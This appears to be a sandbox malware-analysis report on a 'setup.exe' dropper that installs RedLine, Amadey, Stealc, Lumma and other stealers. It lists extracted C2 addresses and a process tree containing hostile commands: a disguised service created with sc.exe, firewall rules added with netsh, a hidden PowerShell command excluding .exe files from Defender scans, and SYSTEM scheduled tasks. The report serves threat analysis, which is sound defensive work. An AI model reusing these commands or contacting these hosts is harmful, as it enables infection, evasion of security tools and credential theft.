Overview

overview

10

Static

static

3

ResIL.dll

windows7-x64

1

ResIL.dll

windows10-1703-x64

3

ResIL.dll

windows10-2004-x64

1

ResIL.dll

windows11-21h2-x64

3

libGLESv2.dll

windows7-x64

3

libGLESv2.dll

windows10-1703-x64

3

libGLESv2.dll

windows10-2004-x64

3

libGLESv2.dll

windows11-21h2-x64

3

res_mods/1...zA.exe

windows7-x64

1

res_mods/1...zA.exe

windows10-1703-x64

1

res_mods/1...zA.exe

windows10-2004-x64

1

res_mods/1...zA.exe

windows11-21h2-x64

1

setup.exe

windows7-x64

10

setup.exe

windows10-1703-x64

10

setup.exe

windows10-2004-x64

10

setup.exe

windows11-21h2-x64

10

updates/Un...00.exe

windows7-x64

7

updates/Un...00.exe

windows10-1703-x64

7

updates/Un...00.exe

windows10-2004-x64

7

updates/Un...00.exe

windows11-21h2-x64

7

res/vehicl...sh.dds

windows7-x64

3

res/vehicl...sh.dds

windows10-1703-x64

3

res/vehicl...sh.dds

windows10-2004-x64

3

res/vehicl...sh.dds

windows11-21h2-x64

3

vivoxsdk.dll

windows7-x64

1

vivoxsdk.dll

windows10-1703-x64

1

vivoxsdk.dll

windows10-2004-x64

1

vivoxsdk.dll

windows11-21h2-x64

1

Analysis

  • max time kernel
    154s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/07/2024, 16:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    setup.exe
  • Size 794.4MB
  • Sample240705-tsahjs1flk
  • SHA256 a04defc1f6811ebb64907ad79c63c2ccedb2cba15afca05758f537768da7b934
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeyexelastealerlummaredlinestealctofsee4dd39d@logscloudyt_bote76b71livetraffoclogsdiller cloud (tg: @logsdillabot)newbuildnewlogsnicezovdefense_evasiondiscoveryevasionexecutioninfostealerpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Extracted

Family

  • redline

Botnet

  • LogsDiller Cloud (TG: @logsdillabot)

C2

  • 77.105.135.107:3445

Extracted

Family

  • amadey

Version

  • 8254624243

Botnet

  • e76b71

C2

  • http://77.91.77.81

Attributes
  • install_dir

    8254624243

  • install_file

    axplong.exe

  • strings_key

    90049e51fabf09df0d6748e0b271922e

  • url_paths

    /Kiru9gu/index.php

rc4.plain

Extracted

Family

  • redline

Botnet

  • LiveTraffoc

C2

  • 4.185.56.82:42687

Extracted

Family

  • redline

Botnet

  • newlogs

C2

  • 85.28.47.7:17210

Extracted

Family

  • redline

Botnet

  • newbuild

C2

  • 185.215.113.67:40960

Extracted

Family

  • stealc

Botnet

  • ZOV

C2

  • http://40.86.87.10

Attributes
  • url_path

    /108e010e8f91c38c.php

Extracted

Family

  • stealc

Botnet

  • Nice

C2

  • http://85.28.47.30

Attributes
  • url_path

    /920475a59bac849d.php

Extracted

Family

  • amadey

Version

  • 4.30

Botnet

  • 4dd39d

C2

  • http://77.91.77.82

Attributes
  • install_dir

    ad40971b6b

  • install_file

    explorti.exe

  • strings_key

    a434973ad22def7137dbb5e059b7081e

  • url_paths

    /Hun4Ko/index.php

rc4.plain

Extracted

Family

  • redline

Botnet

  • @LOGSCLOUDYT_BOT

C2

  • 185.172.128.33:8970

Extracted

Family

  • lumma

C2

  • https://radiationnopp.shop/api

  • https://civilizzzationo.shop/api

  • https://affecthorsedpo.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Exela Stealer

    Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.

    stealerexelastealer
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 3 TTPs 1 IoCs
    evasion
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 8 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 3 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 15 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 51 IoCs
  • Identifies Wine through registry keys 2 TTPs 8 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 38 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 12 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 11 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
  • Suspicious use of SetThreadContext 13 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 7 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Collects information from the system 1 TTPs 1 IoCs

    Uses WMIC.exe to find detailed system information.

  • Delays execution with timeout.exe 3 IoCs
    evasion
  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 30 IoCs
  • Suspicious use of SendNotifyMessage 27 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3560
      • C:\Users\Admin\AppData\Local\Temp\setup.exe
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        2⤵
        • Modifies firewall policy service
        • Checks computer location settings
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2052
        • C:\Users\Admin\Documents\SimpleAdobe\UwfcRW2Xx75JXDM8SzxQO466.exe
          C:\Users\Admin\Documents\SimpleAdobe\UwfcRW2Xx75JXDM8SzxQO466.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          PID:4084
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\ECAKECAEGD.exe"
            4⤵
              PID:2432
              • C:\Users\Admin\AppData\Local\Temp\ECAKECAEGD.exe
                "C:\Users\Admin\AppData\Local\Temp\ECAKECAEGD.exe"
                5⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Checks computer location settings
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                PID:1780
                • C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
                  "C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious behavior: EnumeratesProcesses
                  PID:760
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\DHCGIDHDAK.exe"
              4⤵
                PID:2920
                • C:\Users\Admin\AppData\Local\Temp\DHCGIDHDAK.exe
                  "C:\Users\Admin\AppData\Local\Temp\DHCGIDHDAK.exe"
                  5⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Drops file in Windows directory
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3996
                  • C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
                    "C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe"
                    6⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3596
                    • C:\Users\Admin\AppData\Local\Temp\1000006001\7db1e0d632.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000006001\7db1e0d632.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetWindowsHookEx
                      PID:2032
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1000008021\aa3c1abe4b.cmd" "
                      7⤵
                        PID:4108
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/account
                          8⤵
                            PID:1092
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x40,0xd4,0x124,0x100,0x128,0x7ff9ed5746f8,0x7ff9ed574708,0x7ff9ed574718
                              9⤵
                                PID:836
                  • C:\Users\Admin\Documents\SimpleAdobe\1sJowQASH5F2KxzVVClDskSV.exe
                    C:\Users\Admin\Documents\SimpleAdobe\1sJowQASH5F2KxzVVClDskSV.exe
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:852
                    • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3716
                  • C:\Users\Admin\Documents\SimpleAdobe\bjQdGm6ygYPNsMRtAScKnKmq.exe
                    C:\Users\Admin\Documents\SimpleAdobe\bjQdGm6ygYPNsMRtAScKnKmq.exe
                    3⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:1120
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hzzhoazg\
                      4⤵
                        PID:1856
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\crjqvtyq.exe" C:\Windows\SysWOW64\hzzhoazg\
                        4⤵
                          PID:404
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" create hzzhoazg binPath= "C:\Windows\SysWOW64\hzzhoazg\crjqvtyq.exe /d\"C:\Users\Admin\Documents\SimpleAdobe\bjQdGm6ygYPNsMRtAScKnKmq.exe\"" type= own start= auto DisplayName= "wifi support"
                          4⤵
                          • Launches sc.exe
                          PID:3492
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" description hzzhoazg "wifi internet conection"
                          4⤵
                          • Launches sc.exe
                          PID:3944
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" start hzzhoazg
                          4⤵
                          • Launches sc.exe
                          PID:1052
                        • C:\Windows\SysWOW64\netsh.exe
                          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                          4⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:1532
                      • C:\Users\Admin\Documents\SimpleAdobe\9u_9BF0LwqIgU8lE9yTpZZLM.exe
                        C:\Users\Admin\Documents\SimpleAdobe\9u_9BF0LwqIgU8lE9yTpZZLM.exe
                        3⤵
                        • Executes dropped EXE
                        PID:5072
                        • C:\Users\Admin\AppData\Local\Temp\7zS313.tmp\Install.exe
                          .\Install.exe
                          4⤵
                          • Executes dropped EXE
                          PID:2616
                          • C:\Users\Admin\AppData\Local\Temp\7zSCA9.tmp\Install.exe
                            .\Install.exe /CcHdidPQ "525403" /S
                            5⤵
                            • Checks BIOS information in registry
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Enumerates system info in registry
                            PID:3196
                            • C:\Windows\SysWOW64\forfiles.exe
                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m calc.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                              6⤵
                                PID:4312
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                  7⤵
                                    PID:432
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                      8⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:60
                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                        9⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:524
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /CREATE /TN "bYIjjyXTgczhZAJGMW" /SC once /ST 16:23:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSCA9.tmp\Install.exe\" om /jdideHr 525403 /S" /V1 /F
                                  6⤵
                                  • Drops file in Windows directory
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:2056
                          • C:\Users\Admin\Documents\SimpleAdobe\JQ9mlW7c4aKQ7sHEOD70pHYj.exe
                            C:\Users\Admin\Documents\SimpleAdobe\JQ9mlW7c4aKQ7sHEOD70pHYj.exe
                            3⤵
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Drops file in Windows directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of FindShellTrayWindow
                            PID:1680
                            • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                              "C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
                              4⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Checks computer location settings
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4512
                              • C:\Users\Admin\AppData\Local\Temp\1000128001\crypt6.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000128001\crypt6.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:5080
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                  6⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2028
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 308
                                  6⤵
                                  • Program crash
                                  PID:2276
                              • C:\Users\Admin\AppData\Local\Temp\1000130001\newlogs.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000130001\newlogs.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:652
                              • C:\Users\Admin\AppData\Local\Temp\1000131001\stealc_zov.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000131001\stealc_zov.exe"
                                5⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Checks processor information in registry
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1372
                              • C:\Users\Admin\AppData\Local\Temp\1000132001\newbuild.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000132001\newbuild.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:1336
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.co/1lLub
                                  6⤵
                                  • Enumerates system info in registry
                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:3904
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9ed4246f8,0x7ff9ed424708,0x7ff9ed424718
                                    7⤵
                                      PID:4684
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
                                      7⤵
                                        PID:5132
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3
                                        7⤵
                                          PID:5144
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2940 /prefetch:8
                                          7⤵
                                            PID:5236
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
                                            7⤵
                                              PID:5440
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3608 /prefetch:1
                                              7⤵
                                                PID:5448
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4184 /prefetch:1
                                                7⤵
                                                  PID:5316
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4332 /prefetch:1
                                                  7⤵
                                                    PID:5348
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:8
                                                    7⤵
                                                      PID:5376
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:8
                                                      7⤵
                                                        PID:5484
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5168 /prefetch:1
                                                        7⤵
                                                          PID:5504
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,14902828008378095442,376977572441583351,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1
                                                          7⤵
                                                            PID:5520
                                                      • C:\Users\Admin\AppData\Local\Temp\1000153001\Freshbuild.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\1000153001\Freshbuild.exe"
                                                        5⤵
                                                        • Checks computer location settings
                                                        • Executes dropped EXE
                                                        • Drops file in Windows directory
                                                        PID:3764
                                                        • C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
                                                          6⤵
                                                          • Checks computer location settings
                                                          • Executes dropped EXE
                                                          PID:4008
                                                          • C:\Users\Admin\AppData\Local\Temp\1000037001\1.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\1000037001\1.exe"
                                                            7⤵
                                                            • Executes dropped EXE
                                                            • Checks SCSI registry key(s)
                                                            PID:3800
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3800 -s 464
                                                              8⤵
                                                              • Program crash
                                                              PID:4812
                                                          • C:\Users\Admin\AppData\Local\Temp\1000038001\Bitwarden-Installer-2024.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\1000038001\Bitwarden-Installer-2024.exe"
                                                            7⤵
                                                            • Executes dropped EXE
                                                            • Checks processor information in registry
                                                            PID:5832
                                                      • C:\Users\Admin\AppData\Local\Temp\1000160001\leg222.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\1000160001\leg222.exe"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:3556
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                          6⤵
                                                          • Checks computer location settings
                                                          PID:1304
                                                          • C:\Users\Admin\AppData\Roaming\D0sOH4Ie4a.exe
                                                            "C:\Users\Admin\AppData\Roaming\D0sOH4Ie4a.exe"
                                                            7⤵
                                                            • Executes dropped EXE
                                                            PID:1520
                                                          • C:\Users\Admin\AppData\Roaming\JhiZxOBqcQ.exe
                                                            "C:\Users\Admin\AppData\Roaming\JhiZxOBqcQ.exe"
                                                            7⤵
                                                            • Executes dropped EXE
                                                            • Modifies system certificate store
                                                            PID:4816
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3556 -s 280
                                                          6⤵
                                                          • Program crash
                                                          PID:4312
                                                      • C:\Users\Admin\AppData\Local\Temp\1000161001\build1555.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\1000161001\build1555.exe"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        PID:1168
                                                        • C:\Users\Admin\AppData\Local\Temp\onefile_1168_133646701679526845\stub.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\1000161001\build1555.exe"
                                                          6⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          PID:2752
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "ver"
                                                            7⤵
                                                              PID:5920
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                              7⤵
                                                                PID:3104
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic csproduct get uuid
                                                                  8⤵
                                                                    PID:4712
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "tasklist"
                                                                  7⤵
